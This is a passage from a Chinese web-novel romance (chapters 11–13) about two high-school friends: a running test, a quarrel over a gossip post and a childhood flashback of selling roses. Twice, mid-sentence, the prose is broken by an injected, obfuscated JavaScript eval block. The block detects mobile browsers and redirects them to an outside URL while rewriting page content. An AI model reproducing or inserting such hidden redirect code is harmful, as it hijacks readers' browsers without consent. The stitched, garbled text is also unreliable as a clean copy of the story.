丁斯时在她面前站定,没接她递过来的水,盯着她笑了声,问:“想及格吗?” 持续有人奔过终点线,老师按着秒针报着时长:“三分三十。” “三分三十二。” “三分四十。” 乔岁安想了想,给他拧开了瓶盖,重新递到他面前。 她知道他什么意思,但她问:“先跑1000又跑800,你不累吗?” 丁斯时接过水,又笑:“你以为我暑假白练的吗?” 乔岁安又偷偷瞄了一眼老师,压低了音量:“这样老师允许吗?” “你现在声音小点有什么用?”丁斯时往下弯了点腰,和她视线平视,一只手放在唇边,学她,声音低了低,道,“刚才那句那么大声,估计体育老师早听见了。” 体育老师张一只耳朵闭一只耳朵,掐了男生最后一位的表,扬着脸默不作声走开了。 “……”乔岁安捂脸。 丁斯时直起身,笑到肩膀都在抖。 乔岁安站上跑道的那秒,心脏狂跳,脚提前开软,她站在最内侧的跑道上,深呼吸,丁斯时就站在她边上,神闲气定,丝毫不像刚才跑过了一千米,呼吸也早就平稳下来。 “别那么紧张。”他道,“放轻松。” 哨声响起的那一秒,所有人都冲了出去,那位传说中要跑五分钟的前桌首当其冲在最前面,飞似的。 乔岁安落在最后面,丁斯时在内侧前面领着她跑,不紧不慢和她保持大概半米的距离,提醒:“保持呼吸,跟着我的步子。” 随着步数,原本密集的人群已经渐渐拉开差距,乔岁安步子越来越沉,努力保持三步一喘,今天阳光很好,但十一月的寒风仍然不容小觑,顺着呼吸刮着嗓子,干涩又生疼,鼻尖逐渐失去知觉,整个身子重得不像话,让她几乎迈不动步子。 心跳加速,红色的跑道在眼前不断晃动,她能清晰地听见自己沉重的呼吸声,还有前面的丁斯时对她说:“别停,步子迈大,跟着我的速度。” 前面陆续有几个人实在受不了,从跑步改为慢走。 整个世界好像只剩下呼吸声,还有落地时沉重的脚步声。 前面一个女生离她越来越近,乔岁安一咬牙,从外侧超越。 丁斯时的身影在前面跑动,他不停回头看她,额前头发随着步子晃动,跟她讲别停下。 最后一百米。 他说:“看终点线,冲刺。” 乔岁安握紧了拳,不知从哪来的一股气,从脚底直冲上脑,促使她加速,眼底只剩下前面跑道上那根白色的终点线,周围一切像是一场虚影,心跳几乎跳到嗓子口。 耳边风声呼啸。 冲刺,冲刺。 那根白色的线在眼前放大。 跨过终点的那一刻,她听见老师掐表:“四分十五。” 以及身侧丁斯时伴着风声而来的那一声低笑:“真棒。” 四分十五,她体育中考都没这水平。 喜悦跟急促的心跳一样,直冲上大脑,乔岁安顾不上呼吸还没平复,步子一拐,直扑进身侧丁斯时的怀里。 他被扑得往后退了两步,呼吸暂停一秒,双臂垂着,指尖微颤,缓缓蜷在掌心。丁斯时没垂眼看她,目光落在远处枯黄的树枝上,大脑却像是放空了。 心跳紧贴。 寒风中生出了炙热,腕上系着的那根运动手环数值不断飙升,大概是1800米太过,他感觉大脑缺氧,分不清究竟是谁的心跳在敲打着耳膜。 “丁斯时!!!我真的及格了!!!”乔岁安说话带着喘,却掩不住兴奋,“真的真的真的!” 丁斯时眨了下眼,听见自己的声音干涩喃喃地重复了一遍:“真的。” 11. 太过明显 腕上的运动手表发出刺耳警报声,丁斯时猛眨了几下眼,如梦初醒,拎着乔岁安的袖子把她的手从自己腰上挪开,后退一步。 他垂眼,目光避开她:“刚跑完步别马上停下,多走几步。” “你手环响了。”乔岁安开始紧张起来,“你是不是跑太多了?你没事吧?” “没有。”他抿了下唇瓣,迅速把手环摘下来塞进口袋,垂着眼盯着面前的地板,声音平静,“应该是手环出问题了,我明天去店里修一下。” “真没事?”乔岁安还是担心,半信半疑。 他轻轻推了她的肩两下,催促:“多走两步去。” “知道了。”乔岁安收回视线,嘟囔,“现在多走两步什么用啊,再过几秒我心跳都要恢复了。” 丁斯时默不作声转过身背对她整理袖口,手指僵着。 乔岁安心想,奇怪,又没有袖扣,又有什么好整理的啊? …… 乔岁安的作业仍然是在校时就写完了,回丁斯时房间的时候开始做他给的一班作业。 二班的作业像一张学霸体验卡,等开始写一班作业时她又开始抓耳挠腮,就好像游戏模式一下从简单跳到地狱模式,她被虐得体无完肤,逐渐失去做题兴趣。 边上的丁斯时靠在飘窗墙壁上玩保卫萝卜,仍然是静音版的。 乔岁安坐了会儿就忍不住了,咬着笔杆子悄咪咪把目光移到了丁斯时身上。 “丁斯时。”她小声问,“你玩到第几关了啊?” 丁斯时道:“好好做题。” 乔岁安转了下眼珠子,又开始好奇:“上次我写的攻略,你看了吗?” 他放下手机,抬眼看她,屏幕上萝卜的最后一口被怪物狠狠咬下,刻着骷髅头的墓碑跳出来,游戏失败。 乔岁安一眼看到死去萝卜的墓碑,小声提议:“我可以帮你过这关哦。” 丁斯时从飘窗上下来,拉开椅子在她身侧坐下,伸出两根手指捏着她的下巴,把她的脸转到面向题目,从鼻翼里叹出一口气:“好好做题。” 乔岁安耷拉下肩,脑袋卸了力,下巴搁他手上,苦恼:“不会做。” 他立马收回了手,她身子一个前倾,下巴险些直接磕上桌,好不容易稳住,瞪大了眼睛扭头看他。 丁斯时面色如常,修长指尖夹了支笔,笔尖往题册上空白那道点了点:“这道?” 她鼓了鼓嘴,郁闷支起手肘撑脑袋,偏着头望向他笔尖点的那道题,点点头。 他读完题,又叹气:“我昨天不是讲过类似题型吗?” 乔岁安语气坦荡大方:“没办法,我笨。” 丁斯时扭过头看她,乔岁安撑着头目光肯定地点头,他无语凝噎地收回视线:“那倒也不至于,好好听。” 讲完题,已经是晚上十点。 乔岁安跟解放了似的,呼出一口气,脊背躺在椅子靠背上,狠狠伸了个懒腰,踮着脚尖,椅脚翘起。 然后,下一秒,重心不稳,她悚然晃着手想要保持平稳。 丁斯时眼疾手快地伸手扶住她的椅背,乔岁安乱晃的手来不及收回,指甲狠狠擦过他脖颈处的皮肤。 他“嘶”了声,扶稳了她才抽回手,捂住颈侧。 “对不起对不起。”乔岁安自觉有错,噌一下站起来,真挚道歉,往下扒拉他捂着脖子的手,“我看看我看看。” 丁斯时偏着头,微抬下巴,手被扒开,脖颈处赤然躺着一条红痕,破了皮,但好在没出血。这几个月的时间把他养回了白皮,衬得那条红痕突兀显目。 “疼吗?”乔岁安拧着眉盯着那条红痕,伸出点手指,却没敢碰,怕他会疼。 丁斯时冷笑:“你说呢?小没良心的。” 乔岁安道:“那我给你吹吹。” 温热的气息拂过脖颈伤处,他整个人像触了电似的,猛退后一步,重新捂住了红痕,惊喝一声,险些破音:“乔岁安!” 她立马手脚并立,乖巧低头站着:“我错了,我真不是故意划你的。” 他闭了闭眼,忍了又忍,喉头滚动了下:“我收回刚才那句话。” 乔岁安:“?” 丁斯时咬牙切齿:“笨不笨不知道,反正不太聪明。” 他松开捂着脖子的手,伸过来作势要推她,快触碰到她衣服的那一秒顿了顿,转换方向,“哗”一下拉开抽屉,从里面抽出一根蓝色肌肉按. 摩棒,接着用按. 摩棒抵着她的肩推她:“出去。” 乔岁安不停回头:“哎,哎,哎,我的书包。” 丁斯时提起书包丢她怀里:“拿着书包出去。” 人被推到门口,他又把手里那根按. 摩棒塞她包里,下巴微抬朝向防盗门方向,让她赶紧走。 乔岁安抽出按. 摩棒,打量:“什么东西?” “让你睡前按按腿。”丁斯时更无语了,“最好再拉伸一下,不然凭你那点身体素质,今天跑完八百,明天床都不一定下得来。” 乔岁安轻嗤,扬眉表示不屑,抬着下巴,尾巴能翘上天:“开玩笑,怎么可能?我八百米可是四分十五!我的身体素质哪差?” “砰”的一声,丁斯时才不听她说瞎话,房门直接在她面前关上。 乔岁安:“……” 人的话不能说太自信。 乔岁安第二天热泪盈眶望着教学楼高高的台阶,扶着边上的扶手。酸疼的双腿不住颤抖,每向上动一动都是煎熬,如同小美人鱼上了岸,每一步都像在刀尖上舞蹈。 “为什么?”乔岁安欲哭无泪,“为什么我们学校没有电梯?” 身后的丁斯时呵了声,双腿插兜,径直越过她,长腿一跨就是两个台阶,到了拐弯处,他停下来,转过身,居高临下垂眼望向她。 乔岁安:“……” 人为何会如此狼狈? “你不打算管一下我吗?”乔岁安艰难地向他伸出一只手,事实上她胳膊也疼,估计是昨天跑步时挥臂太厉害了,“哀家需要人扶。” 丁斯时继续居高临下:“昨天是谁说她身体素质很好的?” 乔岁安并不打算要这个脸,语气严肃:“昨天的我怎么能和今天的我相提并论?今天的我俨然更加成熟,更加知分寸。” 他哼笑一声,慢吞吞从楼上走下来,朝她伸出一只胳膊。 她赶紧两只手抓住他的胳膊,整个身体重量压过来,目光扫过他的脖颈,红痕仍在,比昨天颜色却是淡了很多,但在他偏白是脖颈上仍然醒目,她一愣,伸手要碰,“我昨天划这么狠吗?怎么还红着?” 他警戒地往另一边偏了偏头躲开。 “别碰。”丁斯时声音低低的,语气含着警告,顿顿,又补充,“更别吹,我不疼。” “好吧。”她悻悻收回手,“好心人,咱们上楼吧。” 乔岁安整个人几乎是抱着他的胳膊被硬生生拖上三楼的,宛若一个残废。周围路过的同学好奇地瞄他俩,乔岁安被瞄得尴尬得要死,使劲低头,只差把脑袋埋地里。边上的丁斯时却是目不斜视,甚至极轻笑了声。她跟她的耳朵确认再三,确实是嘲笑。 乔岁安:“……” 还是那句话——人,为何会如此狼狈? 一班的数学课代表手里握着个保温杯,从走廊上穿过,见到丁斯时高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859099|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴地伸手挥了挥:“丁哥!” 待走近了,视线低了低,才看到丁斯时脖子上那抹痕迹,顿了顿,奇怪地问:“你脖子怎么了?是被你家猫抓的吗?” 顿时,乔岁安的脑袋垂得更低了。 “我家猫?”头顶上那道声音尾音微扬,他挑了下眉,“差不多,就是比秋秋不乖点。” 乔岁安的脑袋一低再低。 她手指曲起,轻轻掐了他的胳膊一下,丁斯时不动声色伸手把她用来掐他的手指拨开了。 “哦。”数学课代表又注意到乔岁安那扭曲的姿势,“那乔岁安呢,这是怎么了?” 不幸被点名的乔岁安只好抬起脸,勉强微笑。 头顶那道声音十分没良心地又笑了声:“昨天跑……” “脚崴了。”乔岁安及时截住他的话,八百米跑到第二天楼梯都上不了这个理由实在太丢人了,她语气斩钉截铁,眼神真挚笃定,强调,“就刚在楼梯上,非常不幸,脚崴了。” 数学课代表走后,丁斯时淡定道:“你知道吗?” 乔岁安:“?” “只有说谎的人才会重复自己的话,以增加说服力。”丁斯时语气慢慢悠悠的,目光浅浅扫过她刚痛苦上完楼梯、酸疼犹在、还在发颤的腿,勾了下唇,“比如,脚崴。” “……”气得她差点打人。 中午,乔岁安那不争气的双腿令她彻底失去了一食堂炸鸡腿的竞争权,只能抱着泡面桶拖着残疾的身子去了一班霸占了罗落的位置,而丁斯时在她强硬的要求下没去食堂,留下来陪她吃泡面。 乔岁安同学吃着碗里的看着锅里的,嘴里嚼着自己的红烧牛肉面,视线不停瞟向旁边丁斯时的金汤肥牛面。 过了会儿,她没忍住,问:“好吃吗?” “……”他可太懂她这句话什么意思了,直接拒绝,“别想。” 丁斯时无语地放下叉子,实在匪夷所思:“在男生碗里找吃的,你怎么想的?” 乔岁安悻悻收回视线,嘀咕:“小时候不也这样吗?那时候你也没说什么嘛。而且你又不是别的男生。” 丁斯时吃面的手顿了顿,欲言又止,最后终究什么也没说,闷头继续吃面。 教室里总共就两个人,他们俩闭麦后,世界一下安静了下来,乔岁安张望了下窗外,悄悄从口袋掏出手机,借泡面桶挡着,开始刷微博。 面快见底的时候,他突然听见边上一阵爆笑,乔岁安喊他名字,悄悄把手机挪过来,屏幕面对他,亮起的是微博学校超话,他低眸,看清内容的那一刻表情空白,心跳暂停一秒,握着叉子的手指收紧。 小熊:“育德中学超话。家人们,他俩真的没在谈吗?看丁斯时这个眼神啊!这不是喜欢是什么吗?我狠狠磕!不多说,见图,有图有真相。(图片)” 照片上是换教室那天,乔岁安乖巧地朝他摊开掌心,上面是他给的两颗糖。丁斯时站在她面前,唇角携了笑,静静地垂眼望她,眼眸漆黑,像融化的阳光包裹了宠溺,柔和又专注。 太过明显。 大脑停止思考,他不知该做何反应,僵着身子,像在等一个审判。 她憋着笑:“你看,居然有人在超话里说你喜欢我哎,还什么有图有真相。” “……”丁斯时紧攥着叉子的手松开了,深呼一口气,抬起脸盯着她,“好笑吗?” 四目相对,乔岁安一愣:“不好笑吗?” 他不语,端着泡面桶一下站起身,椅子后撤摩擦地板发出刺耳一声“刺啦”,她茫然地跟着抬头。 “吃完了。”丁斯时语气淡下来,抛下这句便头也不回出了教室。 12. 兔子戒指 整个中午,他都没有回过班级。 乔岁安抱着学习资料,每背一分钟都要抬头看一次门口。 直到上课铃声打响,乔岁安才不得不离开一班,走前在桌上给他贴了张便签,上头画了一个在抹眼泪的小人,边上是一行小字——理理我吧(可怜)。 下午第一节课是语文,老师在台上抑扬顿挫念着《赤壁赋》。这篇课文早在之前她就在一班上过了,默写都默完了。乔岁安有一搭没一搭听着,趴在桌上奋笔疾书写完了一张数学作业和英语作业。 剩下的作业还没布置,她撑着脑袋盯着黑板旁边挂着的钟。 老师捧着书,朗声道:“好,接下来让我们看一下最后一段,客喜而笑……” 下课铃打响,他顿了顿,乔岁安眼皮子跳了下,下一秒,语文老师微笑:“同学们,老师再拖两分钟堂,我们把最后一段讲了。” 乔岁安:“……” 她垂下了脑袋,深呼一口气,随后重新把眼睛抬了起来,这回盯的是老师,目光灼灼。 好在语文老师说两分钟就真的两分钟,他用飞快的语速迅速解释完了最后一段,再提了一下文章思想,便下了课。 乔岁安腿疼,就慢吞吞跟在一帮倒水上厕所的同学身后,等堵在门口的那群出去了,她才出了教室门,而后拐进了隔壁一班。 丁斯时人不在桌子前。 她一愣,扭头问罗落:“丁斯时人呢?” “不知道啊。”罗落耸肩,毫不在意,“估计是去倒水了吧。” 乔岁安抿了下唇瓣,拉开他的椅子坐下,撑着脑袋继续等。 桌上贴着的便签一动也没动,边缘翘了点角,她盯着看了半天,伸手把便签压压平,压压紧。 她想了想,又拿起他桌上的笔,在那行小字下面填了一句——别生气啦~放学我请你喝奶茶!(双手合十)(抱抱) 等到第二节课铃声打响,丁斯时还是没回来。 罗落看她撑着脑袋等了半天,神情看着有些落寞,便换了个理由:“也可能他去上厕所了。嗯,便秘也说不准。你要不下节课再来找他?” “……”乔岁安,“我真是谢谢你。” 无奈之下,她只好起了身。 出一班后门的那一秒,乔岁安看见丁斯时从前门而入,她眼睛一亮,刚要喊他名字,肩膀突然被人从后面拍了一下。 她扭过头,数学老师笑里藏刀:“这位同学,上课了,怎么还不进教室啊?” 乔岁安闭嘴,缩着脖子小碎步回了自己座位。 第二节课下课铃打响,乔岁安热切盯着老师,眼皮子再次一跳,她伸手按住,由心而生出一种不祥的预感。 数学老师张口,露出一个熟悉的微笑:“好,同学们,我们再留个两分钟,老师把这道题讲完。” “……”她痛苦捂眼。 这是什么全校统一的老师们的默契吗?她真的会谢。 这两分钟像是一整个世纪那般漫长,好不容易熬到数学老师抱着课本走出教室门,乔岁安拖着两条腿走出教室门。 丁斯时个子高,坐在靠后的位置,从后门能一眼锁定他的身影。他鼻梁上架了副眼镜,黑框不规则,碎发挡住额头,侧脸下颌线格外清晰,他坐姿一向端正,正抄着黑板上的笔记。 乔岁安一喜,刚抬腿要跨进一班教室门,身后突然传来一道犹疑又有些熟悉的男声:“你是乔岁安同学吧?” 她转过身,一愣。 面前站了一个男生,正是军训晚会上给她两颗糖问她要联系方式的那一位,估计是因为上次的事,他看着有点尴尬,伸手挠了挠鼻尖,还是开了口:“是这样的,我是文艺部的。学校现在在组织元旦晚会的表演,我们部长让我过来问问你,你愿意参加这次晚会吗?” 男生递给了她一个表格,又道:“你可以先考虑一下,如果有意向的话,把这个表格填好交给高二三班的李茜学姐就行。” 乔岁安礼貌地小声说“好”,接过了表格。 她再回过头望向丁斯时。 四目相对,她怔了下,下意识挺直了上半身,眨了下眼。 他好像只是随便一瞥,风轻云淡的一眼后马上收回了视线。 乔岁安鼓了鼓嘴,快步要走过去。 丁斯时桌前站了个较为眼熟的男生,乔岁安绞尽脑汁思索了片刻,终于想起这个学长是学生会的,上次来找过丁斯时。 不知道是说了什么,他点了点头,摘了眼镜,目光清淡略过她,没有停留,也没有开口说半个字,瞳仁漆黑平静,站起身随着学长从教室前门而出。 离他座位不过几步,乔岁安愣住,僵着身子盯着他的背影直至消失在教室门口,茫然无措。 她睫毛颤了下,捏紧了表格一角,深呼一口气,还是快步走到他的桌子前。 便签原封不动贴在桌角。 她后知后觉地想:和以前不一样,丁斯时好像是真的生气了…… 可是为什么呢? - 乔岁安望着窗外,怔神很久。 心底发慌,她执起笔来转,可是做不到像丁斯时那样连续不断玩得漂亮,笔在她指尖摇摇欲坠,几乎每隔几秒钟都会“啪”一下掉到桌上。 老师的讲课声就像白噪音,她听不进去半分——事实上也没什么可听的,同样的内容在一班时早就上过。老师也懒得管她,前两天月考成绩出来,她的分数比重点班的均分还要高三分,几乎所有人都心知肚明,她不过是考差了才掉下来,早晚得回重点班。 哪怕哪次考试考差了,还有丁斯时给她复盘。 她形容不出当下感受,是前所未有的慌张。 要给他买奶茶吗?他一直都很喜欢喝的。 可是便签上的字他也不回…… 万一待会儿见面他还是不理她呢? 乔岁安翻了翻书包,没找到草莓味的糖,只翻到个口罩,还有前段时间余清送给她的兔子戒指。 她捞出来看了半晌,突然想到什么,悄咪咪把手伸到桌肚底下,用剪刀剪掉口罩的两条带子,抽出里头的铁丝,低着头对着自己的手指量了下,模仿着记忆里余清编小兔子的动作编着兔子戒指。 她抽空偷偷看了下台上的老师,很好,讲得激情四射。 虽然老师们不怎么管她,但开小差还是不能太过于嚣张了。 乔岁安对着余清那个拆拆补补半天,总算摸到窍门,垂着头一点点编。大概是心底发慌,手指也跟着颤,几次都没编好,她拆了又编,手里的兔子戒指慢慢成型。 她在笔袋里拨了拨,挑出三根荧光笔。 乔岁安想了想,给兔子耳朵一个涂粉,一个涂蓝,极具特色。 直到放学铃打响,老师又拖了两分钟课。乔岁安急到不行,飞速收拾完了东西,手里握着兔子戒指,背着书包拖着两条不争气的腿跑去一班。 属于丁斯时的那张桌子和椅子干干净净的,显然已经被主人收拾过,书包都不见了。 乔岁安一愣,走近了。 桌上贴了张便签,是她写的那张,孤零零待在桌角。 一丝未变。 罗落看见她,“咦”了声,疑惑:“乔乔,你怎么还在这儿?你今天不跟丁斯时一起回家吗?” 乔岁安抿了下唇,问:“他走了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859100|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“对啊。”罗落点点头,见她表情不对,后知后觉察觉到了什么,又问,“怎么了?你俩又闹矛盾了?” 乔岁安不说话,罗落倒是没在意,语气轻飘飘,早就习惯了:“哎呀,那你赶紧去哄人吧。” 所有人都觉得他俩闹别扭就是那样,乔岁安哄哄,丁斯时就会回来。 她手里的兔子戒指发烫,茫然地想,这次好像有点不一样。 不知道哪里不一样,反正就是……心里堵得慌。 她将兔子戒指丢进口袋,没跟罗落说再见,垂着头,又重新拖着两条近乎残废的腿往门外走。腿酸加剧了难过,她甚至都不知道自己又哪里惹到他了。 人到楼梯口,周围同学跟风似的下去了。她低头盯着长长的台阶,平时几下就能跳下去的楼梯万丈高似的。 对于一个腿疼的人而言,下楼梯要比上楼梯痛苦得多。 乔岁安双手握紧扶手,正打算试探性往下跨一步,楼梯拐弯角一道身影几步迈上来,步子急,那人抬眼,四目相对。 她一愣,立马收回那条即将要跨出去的腿,直直盯着他看,轻薄刘海下眼睛睁得大,唇角微抿,显得委屈又可怜。 丁斯时顿顿,动作明显慢下来。他背着黑色的书包,双手插着兜,冬季校服外套拉链拉到最顶端,挡住一点下巴,面无表情不紧不慢踩着台阶上来,黑白分明的眼抬起来浅浅扫了她一下,随即又垂下睫毛,伸出一只胳膊横在她旁边。 乔岁安松开扒着栏杆的手,迅速抓住他的手指,生怕他跑了似的,从口袋里摸出兔子戒指,小心翼翼往他右手中指上套。 他顿了顿。 戒指小了点,她抿唇,又去试食指。 丁斯时不作声,却也没阻止,垂着眼看她一根一根手指试,然后跳过了无名指,套在了他的小手指上,完美契合。 乔岁安这才抬起眼睛,可怜巴巴看他。 丁斯时仍然一声不吭,面无表情,胳膊仍然横在她身前,漠然得像个机器。 她低落地抱住他的胳膊,重心往他身上靠,借着力道一步一步下楼。 丁斯时不说话,她也跟着忐忑,小声问:“你还在生气吗?” 他没看她,也没开口,楼梯走完了,扒开她的手,把手又重新插回口袋,自顾自往前走。 他步子迈得大,乔岁安每走两步就要小跑一下,好在平地不像楼梯,哪怕小跑也不会特别酸疼。但是这么跟着终究费劲,乔岁安一下伸手拽住他的衣角,揪紧了,道:“你总得告诉我你在气什么吧?” 一个下午都没见着人,好不容易见着了,人又是这个态度。她脾气也上来了,大概是腿疼的缘故,委屈又烦闷,抓紧了他衣角不让他走:“你每次都这样,问你你在气什么你又不说,每次都要我哄你。那我做错什么了啊?丁斯时,你能不能不要什么都憋在心里啊?” 他终于停下来了,转过身子,低眼望着她。 冬天的晚上黑得早,路灯一盏一盏亮起,昏黄的灯光落在他身上。丁斯时围着条蓝色的围巾,冬季的风掀起围巾一角,双手插在口袋里,眼眸漆黑,一片墨色沉沉,被夜色笼上几分说不清道不明的深邃。 丁斯时沉默地望了她半晌,乔岁安也仰着脸瞪他,丝毫不让。 直到她鼻子被寒风吹得通红,使劲吸了下鼻子,他才叹出一口气,热气在灯光下化为白雾,又随着冷风飘散。 “乔岁安。”他凝视着她,“你要我怎么说?” 他的视线落在自己右手小指上套着的那枚兔子戒指上,嗓音低了下去,被风一刮,清尾音浅地飘散开来。 “我永远在你的选项之外,你要我怎么说啊?” 13. 叫我哥哥 丁斯时关上房间门,秋秋窝在吊椅上,见他来了,“喵”一声跳下来,扑上去摇着尾巴,扒拉着他的裤脚。 丁斯时有点累,只摸了摸它的小脑袋,让它自己一只猫玩会儿,随后就霸占了它的吊椅,人往椅背上一靠,长腿斜斜支着地,闭了眼,下巴微扬,修长手指搭在眼上,脊背枕在背后乔岁安买的靠枕上。 头有点疼,他伸手抵住突突跳的太阳穴。 吊椅轻轻前后摇晃,秋秋见自己原来窝着的地方被铲屎官霸占了,恼怒地一声“喵”,可是铲屎官别说眼神,连眼睛都没睁开。 秋秋无能狂怒了一会儿,紧接着丁斯时听见“啪”的一声,似是有什么东西掉落在地,他睁开眼,秋秋以一个胜利者的姿态站在书架上,高昂着脑袋看他,前爪微微抬起,孤傲地“喵”了声。 他视线下移,一本书翻倒在地上,是列夫·托尔斯泰的《复活》。 “……” 丁斯时食指揉了揉太阳穴,又瞥了眼站在书架上的秋秋,感觉头更疼了。 秋秋本来是流浪猫,没事就喜欢在他们小区晃荡,刚开始胆子很小,躲在角落里,见着人就撒腿往反方向跑,等喂多了食物才慢慢跟他和乔岁安熟起来。 后来被乔岁安捡回了家。乔爸猫毛过敏,所以只能养在他家。 在宠物医院里做完所有检查之后,乔岁安兴致冲冲买了个猫窝,问他:“我们是不是得给它取个名字?” 流浪猫温顺地窝在她的怀里不动,她轻轻摸了摸它橘黄色的毛,软软滑滑,于是她打了个响指,语气认真笃定:“要不,就叫它大黄吧?” 本来温顺乖巧的流浪猫一声喵叫,从乔岁安怀里狠狠挣脱,头也不回跳进了丁斯时怀里,把脸往他胸前一埋,露出一只蓝色眼睛充满敌意盯着她。 丁斯时抱着流浪猫,忍笑:“算了吧,你这取名水平,连它都嫌弃。” 她瞪着眼睛,鼓了鼓嘴:“你懂什么?这叫贱名好养活!” “你看它乐意吗?”丁斯时垂眼,指节分明的手指轻轻揉了下流浪猫的脑袋,流浪猫眯缝着眼,可怜巴巴地“喵”,他想了想,道,“要不叫秋秋好了。” 秋秋重新摇起尾巴,从那以后,但凡丁斯时在,它就不黏乔岁安。 刚领回来时,它还算乖巧,会撒娇会低头,让它朝东不朝西。后来不到一年的时间里,猫主子的个性愈发不知收敛,脾气又差又嚣张,骂它两句还会炸毛跟你拼了命喵喵叫。 丁斯时看着地上趴倒的书叹气。 猫主子真是被宠坏了。 “你知道你这叫什么吗?”丁斯时站起身,跟秋秋道,“被偏爱的有恃无恐。” 他蹲下身,捡起书,“吧嗒”一声,什么东西从书里头掉下来,丁斯时收了书偏头一望。 是一枚干花书签。 乔岁安送的那朵山茶花静静地躺在里面,保持着原来盛开的姿势,层层花瓣叠在一起,被压成薄薄一片。 其实乔岁安送他的花不止这一朵。 三年级的暑假,乔妈当时的会计证还没考下来,在步行街边经营着一家花店,花店规模不算大,生意也不算好。 情人节当天,写完作业的乔岁安同学被她亲爱的母亲塞了满满一怀包装好的单支玫瑰,套上件白色纱裙,打扮成花童丢到步行街卖花。 丁斯时刚和小伙伴打完篮球回来,穿着身红色篮球服,白色袖口,衣服上白色字体标着数字23,额上系了根橙黄色发带。 夏季闷热,他攥着硬币,就近找了家小卖部买了根冰棍。 今天步行街上人格外多,他不懂什么情不情人节,只知道一男一女人来人往晃得他眼睛都快要花掉了。 他捏着冰棍出了小卖部,目光落到某处,突然一顿。 一个同龄的小女孩抱着玫瑰们,坐在路中央的花台上,扎着双麻花,裙摆到小腿,随着腿部晃动摇曳,噘着嘴耸着肩,百无聊赖看人来人往。 丁斯时盯了半天,终于确认坐在花台上那位是乔岁安,迈着腿绕过人群小跑过去。 乔岁安被突然闪现的他吓了一跳,怀里的玫瑰们差点跌下去,她赶紧抱好。 丁斯时低头看看玫瑰,再抬头看看她,问:“你在干嘛?怎么不回家?” “妈妈说今天什么情人节,要我把这些花卖出去。”乔岁安眼巴巴看着他手里那根冰棍,吞了吞口水,“你手里的冰棍可以给我吃一口吗?” “不给。”丁斯时舔了口冰棍,“妈妈说了,男女授受不亲。” 乔岁安嘴角往下一撇。 他顿顿,又问:“那你为什么不卖呀?” “我不知道怎么卖呀。”她愁眉苦脸,声音也小小的,“我不敢去问那群哥哥要不要买花,好尴尬哦。而且突然跑过去这么问,会不会不礼貌?” 丁斯时又舔了口冰棍,乔岁安盯着,嘴角又往下降了点。 丁斯时无视了她眼神里浓浓的渴望,歪着头想了想,指着她怀里的玫瑰,问:“是只能卖给哥哥吗?” “啊?”乔岁安被问得一愣。她其实也不知道什么情人节,也不知道今天为什么要卖玫瑰,她仔仔细细地回想了一下妈妈说的话。 乔妈当时人瘫在躺椅上一手玩着消消乐,一手捏着瓜子磕,语气随便:“嘴巴甜点,就跟人家说,哥哥,给姐姐买朵玫瑰啊,姐姐一定会很开心的,这样,懂不?” 乔岁安皱着眉头思考了一回儿,随后严肃道:“应该……是的。” “那你一朵卖多少钱?”丁斯时问。 “妈妈说,”她腾出一只手比划了下,“一支十五哦!” 丁斯时的目光在她怀里转悠了圈,沉思片刻,突然严肃道:“帮我拿一会儿。” 他把冰棍塞她手上,扭头就跑。 乔岁安欲言又止,张望了下,丁斯时的背影很快消失在人群之中,她迷惑地眨眨眼,低头直愣愣盯了两秒手里那根冰棍,丝丝凉气溢出来,她又不争气地吞了下口水。 …… 半个小时后,丁斯时攥着小钱包气喘吁吁跑过来时,乔岁安手里只剩下冰棍的棍了。 “……”丁斯时不可置信地望着她手里的棍,“我只是让你帮我拿一下!” 乔岁安眼神飘忽,露出个心虚的笑,酒窝浅浅。 好在丁斯时也没太计较,只是恶狠狠瞪了她一眼。 他垂头,拉开小钱袋的拉链,小心翼翼掏出两张百元的毛爷爷、两张十块的还有五个硬币。 “喏。”他道,“你的花,我都买啦!你可以回家啦!” 乔岁安呆住了。 “你你你……”她又感动又震惊,望着他手里的毛爷爷,最后化为一句,“你怎么有那么多钱?” “过年压岁钱攒下来的呀。”丁斯时疑惑,“你不是也有压岁钱吗?” “妈妈说她把我的压岁钱存银行了。”她扬起脸,道,“妈妈还说等我长大了,就能存一笔巨款了!” “阿姨骗你的。”他早就看清了这群大人的真实面目,冷笑一声,“她估计拿你压岁钱买化妆品去了。” 她又是一愣,不愿意相信自己的压岁钱真的没了,嘴角往下一耷就要哭,大声反驳:“你才骗人!” “爱信不信。”丁斯时翻了个白眼,又把手往前伸了伸,“把钱拿走,玫瑰花给我。” 乔岁安要哭不哭,哼着鼻子数了数怀里的花,一共十五朵,她眼睛上瞟看着天算了半天,嘴里念念有词。 “两百二十五块。”丁斯时催促,“你是没背过乘法表吗?算那么慢。” 她鼓了鼓嘴,把视线收了回来,又大声反驳:“是两百十块,最后一朵不卖给你!” 她大声,他也跟着大声,睁大了眼睛气鼓鼓的:“为什么不卖?” 乔岁安跳下花台,她从他掌心挑出两张一百和一张十块的放进自己斜跨着的小包包,又挑出一朵粉色玫瑰,剩下十四朵全部塞到他的怀里。 玫瑰的香味扑面而来,丁斯时下意识接过一怀玫瑰,就听她理直气壮地超大声说:“因为这朵我打算送给你呀!” 丁斯时一怔,气焰一下灭了,他眨了下眼,耳尖微红,声音也轻了下来,他垂着长长的睫毛,带点结巴:“为……为什么送我?” 